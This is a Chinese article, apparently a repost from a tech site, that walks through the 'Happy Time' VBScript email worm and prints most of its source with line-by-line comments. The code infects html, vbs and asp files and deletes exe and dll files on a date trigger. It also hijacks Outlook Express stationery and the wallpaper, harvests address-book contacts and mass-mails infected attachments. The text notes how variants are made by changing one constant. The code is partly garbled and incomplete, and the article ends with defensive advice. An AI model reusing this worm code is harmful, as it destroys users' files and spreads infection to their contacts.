转自<天极网>
====================
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:
纯文本和超文本。超文本(html)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是vbscript和
javascript。“欢乐时光”在超文本中夹带的就是vbs。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高
手,他对vbs的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(type library)成功地避开了安全
审核的手段更是令人叹为观止。
下面让我们来看看它藏在快乐的外衣下的是什么吧!
*************** 欢乐时光 ***************
rem i am sorry! happy time
on error resume next
mload
以上为病毒入口,并加上i am sorry! happy time的注释,以表明此文件已被感染过。
sub mload()
on error resume next
mpath = grf()
set os = createobject("scriptlet.typelib")
set oh = createobject("shell.application")
建立枚举对象,避开了安全审核
if ishtml then
调用ishtml函数,如果是html,就小写……
murl = lcase(document.location)
if mpath = "" then
os.reset
os.path = "c:\help.htm"
os.doc = lhtml()
os.write()
如果mpath为空,就在c盘下生成help.htm
ihtml = ""
超文本的内容,并指向c:\help.htm
call document.body.insertadjacenthtml("afterbegin", ihtml)
else
if iv(mpath, "help.vbs") then
setinterval "rt()", 10000
else
m = "hta"
if lcase(m) = right(murl, len(m)) then
id = settimeout("mclose()", 1)
设置超时条件
main
else
os.reset()
os.path = mpath & "\" & "help.hta"
os.doc = lhtml()
os.write()
iv mpath, "help.hta"
生成help.hta
end if
end if
end if
else
main
都不是,就执行main函数
end if
end sub
******************************************************************
以下为主函数,太长了!
sub main()
on error resume next
set of = createobject("scripting.filesystemobject")
不用说,创建filesystemobject对象啦
set od = createobject("scripting.dictionary")
创建dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
od.add "html", "1100"
od.add "vbs", "0100"
od.add "htm", "1100"
od.add "asp", "0010"
向dictionary对象添加要感染的项目对
ks = "hkey_current_user\software\"
使用变量以减少代码长度
ds = grf()
cs = gsf()
if isvbs then
如果是vbs
if of.fileexists("c:\help.htm") then
of.deletefile ("c:\help.htm")
如果c:\help.htm存在,就删掉,消灭遗留的痕迹
end if
key = cint(month(date) + day(date))
if key = 13 then
如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
od.removeall
od.add "exe", "0001"
od.add "dll", "0001"
就清空dictionary数组,并将exe、dll加入dictionary 对象,以备删除之用
end if
cn = rg(ks & "help\count")
读注册表中的hkey_current_user\software\help\count键值
if cn = "" then
cn = 1
如果count为0,就设为1
end if
rw ks & "help\count", cn + 1
添加hkey_current_user\software\help\count键值,值为2
f1 = rg(ks & "help\filename")
再读hkey_current_user\software\help\filename键值
f2 = fnext(of, od, f1)
得到该文件的文件名
fext = getext(of, od, f2)
得到该文件扩展名的代号
rw ks & "help\filename", f2
添加键值
if isdel(fext) then
如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
储存文件名
f2 = fnext(of, od, f2)
得到文件的文件名?
rw ks & "help\filename", f2
写注册表
of.deletefile f3
删除文件
else
if lcase(wscript.scriptfullname) <> lcase(f2) then
如果不是集合中的文件
fw of, f2, fext
end if
end if
if (cint(cn) mod 366) = 0 then
if (cint(second(time)) mod 2) = 0 then
使用 cint函数强制执行转换,并发邮件
tsend
else
adds = og
msend (adds)
end if
end if
wp = rg("hkey_current_user\control panel\desktop\wallpaper")
if rg(ks & "help\wallpaper") <> wp or wp = "" then
比较桌面墙纸是否已改变
if wp = "" then
n1 = ""
n3 = cs & "\help.htm"
else
mp = of.getfile(wp).parentfolder
n1 = of.getfilename(wp)
n2 = of.getbasename(wp)
n3 = cs & "\" & n2 & ".htm"
end if
set pfc = of.createtextfile(n3, true)
mt = sa("1100")
创建超文本
pfc.write "<" & "html><" & "body bgcolor=#007f7f background=" & n1 & "><
" & "/body><" & "/html>" & mt
超文本的内容
pfc.close
rw ks & "help\wallpaper", n3
rw "hkey_current_user\control panel\desktop\wallpaper", n3
将带毒的超文本设置成活动桌面
end if
else
set fc = of.createtextfile(ds & "\help.vbs", true)
fc.write sa("0100")
创建vbs文件
fc.close
bf = cs & "\untitled.htm"
set fc2 = of.createtextfile(bf, true)
fc2.write lhtml
fc2.close
创建windows下的untitled.htm
oeid = rg("hkey_current_user\identities\default user id")
oe = "hkey_current_user\identities\" & oeid & "\software\microsoft\outlook e
xpress\5.0\mail"
msh = oe & "\message send html"
cus = oe & "\compose use stationery"
sn = oe & "\stationery name"
rw msh, 1
rw cus, 1
rw sn, bf
在hkey_current_user\identities\{aecf6ca3-9614-4af4-aef2-ct63fe9d97a4}\software\microsoft\outlook
express\5.0\mail下添加三个键值message send html 、compose use stationery 和stationery name,前两个的值为
1,后一个指向windows\untitled.htm
web = cs & "\web"
set gf = of.getfolder(web).files
得到windows\web文件夹里的文件
od.add "htt", "1100"
向dictionary里添加htt项目对
for each m in gf
遍历windows\web下的每一个文件
fext = getext(of, od, m)
得到每个文件的扩展名
if fext <> "" then
如果扩展名不为空,则
fw of, m, fext
end if
next
end if
end sub
******************************************************************
sub mclose()
document.write "<" & "title>i am sorry!写入i am sorry,并关闭。以此作为感染与否的标记
window.close
end sub
******************************************************************
sub fw(of, s, n)
此时s为文件名,n为文件扩展名
dim fc, fc2, m, mmail, mt
on error resume next
set fc = of.opentextfile(s, 1)
只读模式打开该文件
mt = fc.readall
读入全部文件流
fc.close
关闭文件
if not sc(mt) then
如果未感染过
mmail = ml(mt)
mt = sa(n)
set fc2 = of.opentextfile(s, 8)
打开文件并在文件末尾进行写操作
fc2.write mt
fc2.close
msend (mmail)
发带毒邮件
end if
end sub
******************************************************************
function sc(s)
mn = "rem i am sorry! happy time"
if instr(s, mn) > 0 then
如果读入的文件流中有rem i am sorry! happy time
sc = true
else
sc = false
表示已感染过,返回true,否则为false
end if
end function
******************************************************************
function fnext(of, od, s)
dim fpath, fname, fext, t, gf
on error resume next
fname = ""
t = false
初始化变量
if of.fileexists(s) then
如果s存在于当前文件夹中
fpath = of.getfile(s).parentfolder
得到文件的父目录名
fname = s
得到文件名
elseif of.folderexists(s) then
不存在于当前文件夹中,则得到目录名
fpath = s
t = true
else
fpath = dnext(of, "")
得到当前盘符——即根目录
end if
do while true
set gf = of.getfolder(fpath).files
得到当前目录下的所有文件对象
for each m in gf
遍历每个文件
if t then
if getext(of, od, m) <> "" then
如果该文件是文件集合中的一员
fnext = m
则返回该文件名,供调用的函数或过程使用——感染或删除之
exit function
end if
elseif lcase(m) = lcase(fname) or fname = "" then
如果没文件
t = true
end if
next
fpath = pnext(of, fpath)
loop
end function
******************************************************************
function pnext(of, s)
on error resume next
dim ppath, npath, gp, pn, t, m
t = false
if of.folderexists(s) then
如果如果指定的文件夹存在
set gp = of.getfolder(s).subfolders
就得到子目录数
pn = gp.count
if pn = 0 then
如果没子目录
ppath = lcase(s)
npath = lcase(of.getparentfoldername(s))
得到父目录的小写形式
t = true
else
npath = lcase(s)
有子目录,得到其小写形式的集合
end if
do while not er
for each pn in of.getfolder(npath).subfolders
得到子目录下的子目录
if t then
if ppath = lcase(pn) then
t = false
end if
else
pnext = lcase(pn)
exit function
end if
next
t = true
ppath = lcase(npath)
将字符串转化成小写
npath = of.getparentfoldername(npath)
if of.getfolder(ppath).isrootfolder then
如果是根目录
m = of.getdrivename(ppath)
就得到分区符
pnext = dnext(of, m)
exit function
end if
loop
end if
end function
******************************************************************
function dnext(of, s)
dim dc, n, d, t, m
on error resume next
t = false
m = ""
set dc = of.drives
得到所有的驱动器盘符
for each d in dc
遍历每个驱动器
if d.drivetype = 2 or d.drivetype = 3 then
如果是网络盘或本地盘
if t then
dnext = d
exit function
如果是false,就返回当前盘,并退出本函数
else
if lcase(s) = lcase(d) then
如果是true且盘符相同,就令t为true
t = true
end if
if m = "" then
如果m为空,就将盘符付给m
m = d
end if
end if
end if
next
dnext = m
返回盘符
end function
******************************************************************
function getext(of, od, s)
dim fext
on error resume next
fext = lcase(of.getextensionname(s))
返回该文件扩展名的小写
getext = od.item(fext)
返回dictionary对象中指定的key对应的item——即0001(exe)等
end function
******************************************************************
sub rw(k, v)
写注册表
dim r
on error resume next
set r = createobject("wscript.shell")
创建对象
r.regwrite k, v
end sub
******************************************************************
function rg(v)
读注册表
dim r
on error resume next
set r = createobject("wscript.shell")
创建对象
rg = r.regread(v)
end function
******************************************************************
function isvbs()
此函数判断是不是vbs文件
dim errtest
on error resume next
errtest = wscript.scriptfullname
if err then
如果出错,则不是vbs
isvbs = false
else
isvbs = true
end if
end function
******************************************************************
function ishtml()
此函数判断是不是html文件
dim errtest
on error resume next
errtest = document.location
if er then
ishtml = false
如果出错,则不是超文本
else
ishtml = true
end if
end function
******************************************************************
function ismail(s)
此函数判断是不是邮件地址
dim m1, m2
ismail = false
if instr(s, vbcrlf) = 0 then
返回vbcrlf在s中第一次出现的位置, vbcrlf是换行符
m1 = instr(s, "@")
m2 = instr(s, ".")
if m1 <> 0 and m1 < m2 then
如果有“@”符号且“@”在“."之前,则是邮件地址
ismail = true
end if
end if
end function
******************************************************************
function gsf()
得到windows目录
dim of, m
on error resume next
set of = createobject("scripting.filesystemobject")
创建filesystemobject对象
m = of.getspecialfolder(0)
得到特殊目录——windows、system和temp目录
if er then
如果失败,返回c:\
gsf = "c:\"
else
若正常,则返回%windows%
gsf = m
end if
end function
******************************************************************
function lhtml()
写入超文本的内容,其中vbcrlf是换行符
lhtml = "<" & "html" & ">"<" & "title> help "<" & "body> " & lscript(lvbs()) & vbcrlf & _
"<" & "/body>end function
******************************************************************
function lscript(s)
写入vbscript的声明
lscript = "<" & "script language=vbscript>" & vbcrlf & _
s & "<" & "/script" & ">"
end function
******************************************************************
function sl(s1, s2, n)
dim l1, l2, l3, i
l1 = len(s1)
得到文件流的长度
l2 = len(s2)
得到mailto:的长度
i = instr(s1, s2)
在文件流中查找mailto:第一次出现的位置——值为一个数
if i > 0 then
找到则进行字符串操作
l3 = i + l2 – 1
if n = 0 then
sl = left(s1, i – 1)
elseif n = 1 then
sl = right(s1, l1 – l3)
end if
else
sl = ""
end if
end function
******************************************************************
function og()
得到wab(通讯簿)中的邮件地址
dim i, n, m(), om, oo
set oo = createobject("outlook.application")
创建outlook应用程序对象,outlook和outlook express都跑不掉啦!
set om = oo.getnamespace("mapi").getdefaultfolder(10).items
n = om.count
redim m(n)
for i = 1 to n
m(i – 1) = om.item(i).email1address
得到每个wab中的邮件地址
next
og = m
end function
******************************************************************
sub tsend()
发带毒邮件
dim od, ms, mm, a, m
set od = createobject("scripting.dictionary")
mconnect ms, mm
mm.fetchsorted = true
mm.fetch
for i = 0 to mm.msgcount – 1
mm.msgindex = i
a = mm.msgorigaddress
if od.item(a) = "" then
od.item(a) = mm.msgsubject
end if
next
for each m in od.keys
mm.compose
mm.msgsubject = "fw: " & od.item(m)
设置邮件标题
mm.recipaddress = m
此邮件的当前的目标邮件地址
mm.attachmentpathname = gsf & "\untitled.htm"
添加附件windows\untitled.htm
mm.send
发送!
next
ms.signoff
end sub
******************************************************************
function er()
设置的错误陷阱,避免程序崩溃,严谨的风格值得学习
if err.number = 0 then
er = false
else
err.clear
er = true
end if
end function
******************************************************************
function isdel(s)
此函数查看当前文件是否是要删除的文件类型
if mid(s, 4, 1) = 1 then
看s的第四个字符是否是1——即是0001(exe和dll)
isdel = true
如是,返回true,以备删除
else
isdel = false
如不是,返回false
end if
end function
******************************************************************
于安全上的考虑,上面只登出了技术上比较新颖和重要的几个模块供大家研究和学习之用。从代码中大家可以看到,“欢
乐时光”也采用了“爱虫”的filesystemobject(文件系统对象)的技术,这也几乎是所有vbs邮件病毒必不可少的部分。
因此如果杀毒软件监视所有html和vbs中的filesystemobject关键字,几乎可以查出所有和潜在的变种(虽然可能会将某些
良性的超文本和vbs误报,但还是“宁可错杀一千,不可放过一毒”。如果仅监视关键字,如“爱虫”的“i love you”,
“欢乐时光”的“happy time",造毒者只要将其改掉即可,再将邮件标题、内容和源码中的变量名替换一下,具有“智能
查毒”的杀毒软件们也只有装聋作哑,望毒兴叹了。
如果您使用的是foxmail 3.x,恭喜您啦!foxmail 3.0以上的版本都严格地将文本邮件和超文本邮件加以区分,默认
超文本邮件需要点击右角上的小地球图标才可以看到超文本,如果您怀疑某封信可能带毒,就可以从容删之,或导出成
ascii文件用记事本打开研究研究。而老foxmail和outlook express就没那么幸运,即一看到标题就已bingo,oe还会成为
散毒源,寄发带毒邮件。因此首先,最好使用foxmail 3.x,安全第一嘛!如果不放心,干脆删掉wsh(windows
scripting host)吧!方法是找到"添加/删除程序"->"windows安装程序"–"附件" ,将"组件"中的"windows scripting
host"所占空间1.1mb前面的勾去掉,然后选"确定"即可。如果你想研究其源码,用foxmail导出为文本文件即可,“知己知
彼,百战不殆”嘛!
